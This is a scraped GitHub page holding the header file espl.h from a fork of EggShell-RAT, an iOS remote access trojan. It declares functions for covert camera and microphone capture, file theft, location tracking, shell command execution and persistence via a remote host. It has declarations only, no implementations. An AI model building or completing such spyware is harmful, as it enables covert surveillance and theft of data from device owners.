forked from The404Hacking/EggShell-RAT
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathespl.h
More file actions
89 lines (79 loc) · 2.65 KB
/
Copy pathespl.h
File metadata and controls
89 lines (79 loc) · 2.65 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
//
//espl.h
#include <arpa/inet.h>
#import <AppSupport/CPDistributedMessagingCenter.h>
#import <AVFoundation/AVFoundation.h>
#import <AudioToolbox/AudioToolbox.h>
#import <CoreLocation/CoreLocation.h>
#import <CoreFoundation/CFUserNotification.h>
#import "escryptor.h"
#import <MediaPlayer/MediaPlayer.h>
#include "NSData+AESCrypt.h"
#include "SpringBoardServices/SpringBoardServices.h"
#import <UIKit/UIKit.h>
#include "NSTask.h"
@interface espl:NSObject <AVAudioRecorderDelegate>
@property (nonatomic,strong) AVCaptureSession *session;
@property (readwrite, retain) AVCaptureStillImageOutput *stillImageOutput;
@property (nonatomic,retain) AVAudioRecorder *recorder;
@property (retain) NSFileManager *fileManager;
@property (retain) UIDevice *thisUIDevice;
@property (retain) NSString *skey;
@property (retain) NSString *terminator;
@property (retain) CPDistributedMessagingCenter *messagingCenter;
@property (nonatomic,retain) NSTimer *timer;
@property (nonatomic,strong) NSTask *systask;
//socks
extern int sockfd;
-(int)connect:(NSString*)host :(long)port;
-(void)receiveFileData:(NSString *)saveToPath :(long)fileSize;
-(void)sendFileData:(NSData*)fileData;
-(void)sendString:(NSString *)string;
-(void)liveSendString:(NSString *)string;
//convenience
-(NSString *)forgetFirst:(NSArray *)args;
-(void)blank;
//camera
-(NSData*)camera:(BOOL)isfront;
-(AVCaptureDevice *)frontFacingCameraIfAvailable;
-(AVCaptureDevice *)backFacingCameraIfAvailable;
-(void)setupCaptureSession:(BOOL)isfront;
-(void)captureWithBlock:(void(^)(NSData* imageData))block;
//mic
-(void)mic:(NSString *)arg;
//file management
-(void)directoryList:(NSString *)arg;
-(void)rmFile:(NSString *)arg;
-(void)changeWD:(NSString *)arg;
-(void)sendEncryptedFile:(NSData *)fileData;
-(NSData*)filePathToData:(NSString *)arg;
//misc
extern int SBSLaunchApplicationWithIdentifier(CFStringRef identifier, Boolean suspended);
extern CFStringRef SBSApplicationLaunchingErrorString(int error);
-(void)locate;
-(void)exec:(NSString *)command;
-(void)vibrate;
-(void)say:(NSString *)string;
-(void)displayalert:(const char *)title :(const char *)message;
-(void)alert:(NSArray *)args;
-(void)getPid;
-(void)openURL:(NSString *)arg;
-(void)dial:(NSString *)arg;
-(void)setVolume:(NSString *)arg;
-(void)getVolume;
-(void)isplaying;
-(void)listapps;
-(NSString *)battery;
-(void)sysinfo;
-(void)launchApp:(NSString *)arg;
-(void)runtask:(NSString *)cmd;
-(void)persistence:(NSString *)ip :(int)port;
-(void)rmpersistence;
-(void)eslog:(NSString *)str;
//eggshell pro
-(void)upload:(NSString *)uploadpath;
-(void)mcSendNoReply:(NSString *)command;
-(void)mcSendYesReply:(NSString *)command;
-(void)locationService:(NSString *)arg;
@end
//